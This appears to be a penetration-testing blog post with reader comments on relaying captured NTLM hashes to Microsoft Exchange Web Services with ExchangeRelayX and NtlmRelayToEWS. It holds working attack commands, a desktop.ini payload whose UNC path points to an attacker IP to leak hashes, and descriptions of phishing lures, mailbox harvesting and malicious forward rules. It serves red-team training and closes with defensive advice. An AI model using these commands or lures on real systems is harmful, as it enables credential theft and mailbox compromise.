Gaining access to the mailbox of a user during a penetration test or a red team engagement can lead to arbitrary code execution, discovery of sensitive data such as credentials or performing internal Phishing to expand access across the network. Typically access to the mailbox is achieved via Phishing or Password Spraying.
Microsoft Exchange servers give a number of opportunities to attackers to abuse existing services like ActiveSync, EWS etc. Some of these services (MAPI, RPC and EWS) support NTLM authentication by default which can allow an attacker to perform a NTLM relay and get direct access to the inbox of a user. This avoids the need to crack the password hash which can be a time consuming process.
William Martin developed a python tool called ExchangeRelayX which can conduct NTLM Relay attack to Microsoft Exchange servers by attacking Exchange Web Services. Executing the following command will check if the Exchange Server support NTLM authentication.
./exchangeRelayx.py -c -t https://10.0.1.2

Running again the tool only with the -t parameter (IP address of the Exchange Server) will setup an SMB listener and an HTTP server that will serve a local mail server.
./exchangeRelayx.py -t https://10.0.1.2

The mail server will run on localhost port 8000 and it can be access from the browser. Domain users which they got their NTLM password hash captured will appear on this page.

There are multiple ways that NTLM authentication can be triggered. Some of them they have described in the article Places of Interest in Stealing NetNTLM hashes. However, the easiest method is to send an email that will contain a UNC path that will point to the address of the listeners.

Users which they will receive a link with a UNC path that will target the IP address of the listeners will leak their NTLM hash once they click it. The NTLM hash will be captured and the tool will relay the hash to the Exchange for authentication. If the authentication is successful users will be added to the connection manager.

The email server acts as an email viewer and the communication is performed via API calls to the Exchange Web Services (EWS).

The users will be able to get access to the inbox, draft, sent and deleted items. Any sensitive emails stored in these folders can be retrieved. The ExchangeRelayX also has a function to compose a new email for conducting an internal Phishing campaign in order to compromise mailboxes of additional users.

The address list can be also retrieved from the Address Book function.

Similar to ExchangeRelayx, Arno0x0x developed a tool called NtlmRelayToEWS which can be used to perform the same attack but without the Email interface. Both of these tools require Impacket suite for relay. This tool can be used to perform the following:
- Send an HTML formed email
- Harvest all items from Inbox, Sent Items, Calendar, Tasks
- Inject a malicious forward rule to another email address
- Home Page attack
- Set a delegate address
The following command can be used to send an HTML formed email. Full details about the tool usage can be found in the GitHub page.
./ntlmRelayToEWS.py -t https://10.0.1.2/EWS/exchange.asmx -r sendMail -d "Ian@pentest.local" -s Subject -m sampleMsg.html

Hi! I tested this tool on my network. After successfully obtaining the NTLM hashes, nothing happens. Maybe it is because my Exchange version is 2016.
Hi Andre, The tool was tested on Microsoft Exchange 2016. If you can provide the output of what you receive I might be able to assist. After you get the NTLM hash you cannot see any authentication attempts?
Exchange Web Services should be running in order for the tool to perform the relay.
root@kali:/usr/share/ExchangeRelayX# ./exchangeRelayx.py -t https://
ExchangeRelayX
Version: 1.0.0
[*] Testing https:///EWS/Exchange.asmx for NTLM authentication support…
[*] SUCCESS – Server supports NTLM authentication
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Relay servers started
* Serving Flask app “lib.owaServer” (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
[*] * Running on http://127.0.0.1:8000/ (Press CTRL+C to quit)
[*] SMBD-Thread-4: Received connection from , attacking target https://
[*] SMBD-Thread-5: Received connection from , attacking target https://
[*] SMBD-Thread-6: Received connection from , attacking target https://
[*] SMBD-Thread-7: Received connection from , attacking target https://
[*] SMBD-Thread-8: Received connection from , attacking target https://
[*] HTTPD: Received connection from , attacking target https://
[*] HTTPD: Client requested path: /test.ico
[*] HTTPD: Client requested path: /test.ico
[*] HTTPD: Client requested path: /test.ico
[*] HTTPD: Client requested path: /test.ico
[*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET / HTTP/1.1” 200 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/JS/Bootstrap/js/bootstrap.min.js HTTP/1.1” 404 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/JS/jquery.min.js HTTP/1.1” 304 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/JS/Control.js HTTP/1.1” 200 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/CSS/Bootstrap/css/bootstrap.min.css HTTP/1.1” 200 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:30] “GET /static/JS/popper.min.js HTTP/1.1” 304 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:31] “GET /static/JS/Bootstrap/js/bootstrap.min.js HTTP/1.1” 404 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:31] “GET /favicon.ico HTTP/1.1” 404 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:31] “GET /listSessions HTTP/1.1” 200 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:33] “GET / HTTP/1.1” 200 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:34] “GET /static/JS/jquery.min.js HTTP/1.1” 304 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:34] “GET /static/JS/popper.min.js HTTP/1.1” 304 –
[*] 127.0.0.1 – – [10/Sep/2019 09:21:34] “GET /static/JS/Bootstrap/js/bootstrap.min.js HTTP/1.1” 404 –
After doing this, the web interface does not show any popped user, even manually refreshing.
(I sent the logs through another post, but it needs to be allowed by the admin)
From the log I cannot see any authentication attempt to the Exchange with the NTLM hash that you have captured. How do you craft your email? Because the client is requesting a path on a web server (/test.ico) and then the tool breaks.
Also, have you installed the required version of impacket? (not the one installed on kali). Use pip install -r requirements.txt
Sorry, I forgot to mention that I ran pip as instructed in github readme.
Hi again. First of all, thanks for your help!
I used 2 different vectors:
1. USB key drop: one folder “Secret” with the desktop.ini:
[.ShellClassInfo]
IconResource=\\KALI_IP_ADDRESS\test.ico,011
2. Email
Fake link to youtube
Before that, I tested with Responder and, in both cases, I managed to receive the NTML hash correctly.
In the log showed before, after receiving the connection and attacking target, nothing happened.
[*] * Running on http://127.0.0.1:8000/ (Press CTRL+C to quit)
[*] SMBD-Thread-4: Received connection from , attacking target https://MY-EXCHANGE-SERVER
[*] SMBD-Thread-5: Received connection from , attacking target https://MY-EXCHANGE-SERVER
[*] SMBD-Thread-6: Received connection from , attacking target https://MY-EXCHANGE-SERVER
[*] SMBD-Thread-7: Received connection from , attacking target https://MY-EXCHANGE-SERVER
[*] SMBD-Thread-8: Received connection from , attacking target https://MY-EXCHANGE-SERVER
[*] HTTPD: Received connection from MY-HOST-IP, attacking target https://MY-EXCHANGE-SERVER
[*] HTTPD: Client requested path: /test.ico
[*] HTTPD: Client requested path: /test.ico
[*] HTTPD: Client requested path: /test.ico
Notice that, in your post, after receiving connection, this happens:
“HTTP server retorned error code 400, treating as a successful login”
In my case, it didn’t.
Best regards!
Do you know how to defend against this attack?
Regards,
Enabling Modern Authentication in Exchange should prevent the attack. You can find more information here:
https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/enable-or-disable-modern-authentication-in-exchange-online